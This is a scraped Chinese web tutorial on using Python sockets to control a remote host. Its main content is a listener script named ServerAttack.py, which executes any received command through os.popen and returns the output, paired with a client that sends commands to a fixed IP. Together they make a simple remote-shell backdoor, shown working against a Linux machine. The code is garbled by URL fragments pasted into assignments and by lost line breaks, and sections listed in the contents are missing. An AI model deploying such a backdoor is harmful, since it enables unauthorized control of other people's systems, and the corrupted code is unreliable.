Python实现Socket通信建立TCP反向连接
Python实现Socket通信建立TCP反向连接,博智网带你了解详细信息 。
目录
- 前言
- 远程控制
- 脚本编写
- 脚本优化
- getopt ()
- 完整代码
前言本文将记录学习基于 Socket 通信机制建立 TCP 反向连接,借助 Python 脚本实现主机远程控制的目的 。
我们在传输数据时,可以只使用(传输层)TCP/IP 协议,但是那样的话,如果没有应用层,便无法识别数据内容,如果想要使传输的数据有意义,则必须使用到应用层协议,应用层协议有很多,比如 HTTP、FTP、TELNET 等,也可以自己定义应用层协议 。而 Socket 是对 TCP/IP 协议的封装,Socket 本身并不是协议,而是一个调用接口(API),通过 Socket 我们才能使用 TCP/IP 协议 。
HTTP 连接与 Socket 连接的区别
- HTTP 是短连接,Socket (基于 TCP 协议的)是长连接 。尽管 HTTP1.1 开始支持持久连接,但仍无法保证始终连接 。而 Socket 连接一旦建立 TCP 三次握手,除非一方主动断开,否则连接状态一直保持 。
- HTTP连接,服务端无法主动发消息,Socket 连接,双方请求的发送无先后限制 。这点就比较重要了,因为它将决定二者分别适合应用在什么场景下 。HTTP 采用“请求-响应”机制,在客户端还没发送消息给服务端前,服务端无法推送消息给客户端 。必须满足客户端发送消息在前,服务端回复在后 。Socket 连接双方类似 peer2peer 的关系,一方随时可以向另一方喊话 。
- 用 HTTP 的情况:双方不需要时刻保持连接在线,比如客户端资源的获取、文件上传等 。
- 用 Socket 的情况:大部分即时通讯应用(QQ、)、聊天室、苹果APNs等 。
远程控制下面开始来看看如何借助 Python 实现对目标主机的远程控制 。
脚本编写ServerAttack.py 受控端脚本如下:
import socketimport osip = ""# 空表示可连接所有主机port = 5555# 设置端口s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# 对象s 使用基于tcp协议的网络套接字s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)# 关闭后不需要保存状态可以立即开启s.bind((ip, port))# 对象s 开始绑定ip和端口s.listen(10)# 启动监听状态,设置队列中等待连接服务器的最大请求数10conn, addr = s.accept()# 当与别人建立连接 addr,conn 变量分别存对方ip和连接的对象print("已建立远程连接:", addr)# 显示对方地址while True:data = https://www.yf-zs.com/redian/conn.recv(1024)# 接收对方字符串 #如果对方不发数据会卡住if data =https://www.yf-zs.com/redian/= b"q":# 接收到程序终止信号则中断连接breakdata = https://www.yf-zs.com/redian/str(data, encoding="utf8")# 将数据转换为字符串类型print("远程主机请求的命令:", data)f = os.popen(data)# 可以将命令的内容以读取的方式返回data2 = f.read()if data2 == "":conn.send(b"finish")else:conn.send(bytes(data2, encoding="utf8"))# 发送命令运行结果conn.close()# 断开连接s.close()# 关闭套结字
ClientAttack.py 控制端脚本如下:
import socketip = "192.168.146.126"# 对方服务器ip地址port = 5555# 对方服务器的端口s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# 对象s使用基于tcp协议的网络套接字s.connect((ip, port))# 创建socket连接while True:data = https://www.yf-zs.com/redian/input("请输入命令:")data = https://www.yf-zs.com/redian/bytes(data, encoding="utf8")s.send(data)# 发送数据给对方data2 = s.recv(1024)# 接收返回的数据print(str(data2, encoding="utf8"))if data =https://www.yf-zs.com/redian/= b"q":breaks.close()
效果演示
1、Linux 远控
【Python实现Socket通信建立TCP反向连接】将 ServerAttack.py 受控端脚本拷贝至 Linux 系统并运行,同时 Win10 物理机运行 ClientAttack.py 控制端脚本,可实现远程连接控制:




到此这篇关于Python实现Socket通信建立TCP反向连接的文章就介绍到这了,更多相关Python TCP反向连接内容请搜索趣讯吧以前的文章或继续浏览下面的相关文章希望大家以后多多支持趣讯吧!
推荐阅读
- 实现脱贫的根本之策是什么扶贫
- 人的自我实现结果比过程重要
- python怎么让程序重复运行
- 人生的理想可以从哪些方面去实现
- 祖国统一的意义
- 梦想实现的格言大全
- 荣耀盒子怎么通过电脑实现投屏
- 如何才能实现宽带一号多拨呢
- 建行的房贷卡为什么不能转账 还房贷的建设卡可以实现转账不
- 将为国家作出更大贡献 全红婵发文:终于实现儿时愿望
